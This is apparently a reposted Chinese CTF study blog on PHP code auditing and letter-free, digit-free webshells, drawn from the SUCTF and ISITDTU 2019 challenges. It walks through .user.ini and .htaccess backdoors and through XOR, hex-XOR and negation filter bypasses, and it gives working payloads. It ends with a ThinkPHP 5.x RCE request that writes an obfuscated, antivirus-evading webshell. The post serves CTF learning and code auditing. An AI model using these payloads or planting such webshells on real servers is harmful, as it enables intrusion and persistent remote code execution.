Suctf知识记录&&PHP代码审计,无字母数字webshell

Checkin

 .user.ini构成php后门利用,设置auto_prepend_file=01.jpg,自动在文件前包含了01.jpg,利用.user.ini和图片马实现文件包含+图片马的利用.

而.htacess构造后门是通过上传.htaccess设置AddType application/x-httpd-php .jpg,将jpg文件作为php解析,getshell

Easyphp

通过陆队的文章,了解了一些php代码审计的东西。

ISITDTU CTF 2019 EasyPHP

代码如下:

<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd ) die('you are so close, omg'); eval($_); ?>

正则匹配了一些字母和数字还有一些特殊符号。并且strlen(count_chars(strtolower($_), 0x3)) > 0xd 获取字符中的不同字符数量是否大于13.因此需要构造绕过正则并且不同字符的数量<=13个

博主这里提供了一个方法,让我感觉特别的受益=>通过脚本检测可以用的内置函数来寻找可利用的点。(可惜没有easyphp的docker环境)

贴上脚本:

<?php 
$arr = get_defined_functions()['internal'];

foreach ($arr as $key => $value) {
    if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $value) ){
        unset($arr[$key]);
        continue; } if ( strlen(count_chars(strtolower($value), 0x3)) > 0xd ){ unset($arr[$key]); continue; } } var_dump($arr); ?>
array(15) {
  [57]=>
  string(5) "bcmul"
  [329]=>
  string(5) "rtrim"
  [335]=>
  string(4) "trim"
  [336]=>
  string(5) "ltrim"
  [346]=>
  string(3) "chr"
  [370]=>
  string(4) "link"
  [371]=>
  string(6) "unlink"
  [413]=>
  string(3) "tan"
  [416]=>
  string(4) "atan"
  [417]=>
  string(5) "atanh"
  [421]=>
  string(4) "tanh"
  [521]=>
  string(6) "intval"
  [665]=>
  string(4) "mail"
  [706]=>
  string(3) "min"
  [707]=>
  string(3) "max"
} 

有几个常见的参数chr,trim,intval

bool型转数字chr.拼接

这里首先的思路是通过!,转变为bool型,然后通过加法使bool型转化为数字型,再chr为字符,通过.连接组成phpinfo()

php > var_dump(!a);
PHP Notice:  Use of undefined constant a - assumed 'a' in php shell code on line 1
bool(false)
php > var_dump(!!a);
PHP Notice:  Use of undefined constant a - assumed 'a' in php shell code on line 1
bool(true)

在添加一个@忽略错误

<?php
var_dump(@a);        //string(1) "a"
var_dump(!@a);    //bool(false)
var_dump(!!@a);    //bool(true)

使用加法,会转化为数字型

<?php
var_dump(!!@a + !!@a);    //int(2) 1+1
var_dump((!!@a + !!@a) * (!!@a + !!@a + !!@a + !!@a));    //int(6) (1+1)*(1+1+0+1)

使用chr转化为字符,.号拼接成phpinfo(),利用**次方运算快捷。

(chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a) ** (!!@a + !!@a  + !!@a + !!@a))
.chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a + !!@a + !!@a ) * (!!@a + !!@a  + !!@a + !!@a + !!@a  + !!@a ))
.chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a) ** (!!@a + !!@a  + !!@a + !!@a))
.chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a + !!@a + !!@a ) * (!!@a + !!@a  + !!@a + !!@a + !!@a  + !!@a ) + !!@a)
.chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a) * ((!!@a + !!@a  + !!@a) ** (!!@a + !!@a) ))
.chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a + !!@a + !!@a ) * (!!@a + !!@a  + !!@a + !!@a + !!@a  + !!@a ) - !!@a - !!@a) .chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a) - !!@a))();

字符:!()*+-.;@achr

但是这里需要用.来连接,已经已经过滤了.,并且不同字符有16个,长度也不行。所以这个思路out。

 

 

单异或

['!', '%', '+', '-', '*', '/', '>', '<', '?', '=', ':', '@', '^']

还有这些字符可以使用,其中很常见的是^,异或再很多时候都能用来绕过。以前我也见过此类的一句话马,还收集了几个,就是通过异或产生需要的字符.

<?php
$number='1';
$strings='phpinfo()';
$a='';
$strings=str_split($strings);
foreach ($strings as $value) { if(ord($number^$value)<127&&ord($number^$value)>32) { echo $value.":".($number^$value)."\n"; } } ?>

p:A
h:Y
p:A
i:X
n:_
f:W
o:^

发现_被过滤了,因此随机异或一个,n^4=Z,o^5=Z

这里可以用trim将int型转化为string型

<?php
var_dump(trim(1));
?>
string(1) "1"

因此得到payload:

var_dump(
    trim(
        (!!@a + !!@a + !!@a + !!@a + !!@a) *
        ((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) + (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a) + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) *
        ((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a+ !!@a+ !!@a) + (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a ) - (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a) - !!@a - !!@a- !!@a)
    ) ^ @AYAXZWZ
);//phpinfo

一共使用了21个字符,太多了。还需要减少使用字符数量。

通过异或查找一些相同的数字字符找出来组一起

p: |A ^ 1|B ^ 2|C ^ 3|H ^ 8|I ^ 9|
h: |Q ^ 9|X ^ 0|Y ^ 1|Z ^ 2|
p: |A ^ 1|B ^ 2|C ^ 3|H ^ 8|I ^ 9|
i: |Q ^ 8|X ^ 1|Y ^ 0|Z ^ 3|
n: |V ^ 8|W ^ 9|X ^ 6|Y ^ 7|Z ^ 4|
f: |Q ^ 7|R ^ 4|T ^ 2|U ^ 3|V ^ 0|W ^ 1|
o: |V ^ 9|W ^ 8|X ^ 7|Y ^ 6|Z ^ 5|

payload:

(AYAYYRY^trim(((((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a)))+(((!!a+!!a))**((!!a))))))();

 正好使用了13个字符ARYtim!(+×);

####有无注意上面的是php版本,并且是(phpinfo)();执行的phpinfo。P神的无字母数字webshell中有提到过PHP7的新特性,PHP7前无法使用如此执行动态函数。(这样的payload有php版本限制)

 

多次异或

首先多字符异或,是按顺序一个一个字符异或。

(qiqhnin^iiiiibi^hhhhimh)();//phpinfo();
('1111111'^'4444444'^'umulkcj')(); //phpinfo()  无法绕过,自己的尝试,需要全部用字符串,get接收默认是字符串类型

经过两次异或得到(phpinfo)();

只用了10个字符

 

 

 十六进制异或

我们还可以用16进制异或来进行字符操作

print_r ^ 0xff -> 0x8f8d96918ba08d -> ((%ff%ff%ff%ff%ff%ff%ff)^(%8f%8d%96%91%8b%a0%8d))
scandir ^ 0xff -> 0x8c9c9e919b968d -> ((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%91%9b%96%8d))
      . ^ 0xff -> 0xd1             -> ((%ff)^(%d1))

当然也可以不使用 0xff ,使用以下 payload 就可以在没有字符限制的时候进行列目录了:

((%ff%ff%ff%ff%ff%ff%ff)^(%8f%8d%96%91%8b%a0%8d))(((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%91%9b%96%8d))(((%ff)^(%d1))));

 

<?php
$a='print_r';
for($i=0;$i<strlen($a);$i++)
{
    echo '%'.dechex((ord(chr(0xff)^$a[$i])));
}

?>
%8f%8d%96%91%8b%a0%8d

测试发现,只有当php7时才可以。

 

取反

这里引用了P神的无字母数字webshell之提高篇,中的取反操作。

echo urlencode(~'phpinfo');
%8F%97%8F%96%91%99%90  

由于php7中允许(phpinfo)()这样的形式。因此也可以直接绕过

payload=(~%8F%97%8F%96%91%99%90)();

  

 

 

上面的payload几乎都是php7下的(phpinfo)()这样格式执行的。

 

原题中:使用了这样的payload =>getshell,利用的是十六进制异或并且urlencode,将0x转化为%

${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=get_the_flag

注:

 

 这个payload,+=eval的时候是无法执行的。虽然PHP支持``变量函数(variable-functions)``:通过变量保存一个函数的名字,然后在其后附上一对小括号的形式即可完成对函数的调用。但是eval 属于PHP语法构造的一部分,并不是一个函数,所以不能通过 变量函数 的形式来调用(虽然她确实像极了函数原型)

这样的语法构造还包括:echo,print,unset(),isset(),empty(),include,require,...

 

CTF 群里有人发的WEB题目

<?php
error_reporting(E_ALL^E_NOTICE^E_WARNING);
function GetYourFlag(){
    echo file_get_contents("./flag.php");
}

if(isset($_GET['code'])){
    $code = $_GET['code']; //print(strlen($code)); if(strlen($code)>27){ die("Too Long."); } if(preg_match('/[a-zA-Z0-9_&^<>"\']+/',$_GET['code'])) { die("Not Allowed."); } @eval($_GET['code']); }else{ highlight_file(__FILE__); } ?>

 

最近接触了很多这样的文章和题目,比如P神的无字母webshell或者陆队smile师傅的心得

 

这里我截取P神的文章

 

 PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。

<?php 
echo urlencode(~('phpinfo'));
?>
%8F%97%8F%96%91%99%90

取反尝试:

 

 

<?php 
echo urlencode(~('GetYourFlag'));
?>

getflag

 

 

Suctf中的正则

 

 

可以执行的payload:

${"`{{{"^"?<>/"}['+']();&+=get_the_flag

因为${}中的代码是可以执行的

而字符串拼接成的不具有函数的执行特性

<?php 
$_GET['a']='woaini';
$a="`{{{"^"?<>/";
$b='$'.$a.'["a"]';
echo $b;
?>
$_GET["a"] 

而${}

<?php 
$_GET['a']='woaini';
var_dump(${"`{{{"^"?<>/"});
?>

array(1) {
["a"]=>
string(6) "woaini"
}

${}像可变变量一样的方式。

 

免杀马

今天看到先知社区的一篇文章https://xz.aliyun.com/t/6267,文章中有提到利用TP5.x RCE的一个免杀马,其实就是上面题目中的知识产物

s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@file_put_contents(base64_decode(MTI1ODQucGhw),base64_decode(b2suPD9waHAgJHsiYHt7eyJeIj88Pi8ifVthXSgkX1BPU1RbeF0pOzs7))
ok.<?php ${"`{{{"^"?<>/"}[a]($_POST[x]);;;

利用了call_user_func_array回调函数,将assert作为函数,后面的@file_put_contents作为函数里的参数。因此成功写入。

<?php ${"`{{{"^"?<>/"}['a']($_POST['x']);  

可以给a传值为assert,x传值为eval(rce)来获得马儿的效果.

 

学习资料;

https://blog.zeddyu.info/2019/07/20/isitdtu-2019/

https://www.smi1e.top/php%E4%B8%8D%E4%BD%BF%E7%94%A8%E6%95%B0%E5%AD%97%E5%AD%97%E6%AF%8D%E5%92%8C%E4%B8%8B%E5%88%92%E7%BA%BF%E5%86%99shell/

https://www.leavesongs.com/penetration/webshell-without-alphanum.html

 

转载于:https://www.cnblogs.com/BOHB-yunying/p/11520031.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值